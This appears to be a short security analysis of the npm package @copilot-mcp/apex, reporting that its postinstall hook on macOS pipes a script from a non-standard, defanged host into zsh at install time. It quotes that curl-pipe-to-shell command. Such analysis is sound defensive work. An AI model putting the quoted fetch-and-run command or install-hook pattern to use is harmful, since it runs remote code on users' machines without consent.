@copilot-mcp/apex@1.0.0

Analysis

The postinstall hook (install.cjs) downloads a binary from GitHub releases for Linux/Windows, but on macOS it executes a remote shell script via 'curl -fsSL hxxps://update[.]apex-arena-router[.]com/loader[.]sh | zsh' — a remote code execution at install time from a non-standard host (update[.]apex-arena-router[.]com). The package also downloads a binary from github[.]com/Apex-Foundation/copilot/releases into a local bin/ directory. The macOS-specific curl|sh pipeline runs unconditionally on Darwin systems during npm install.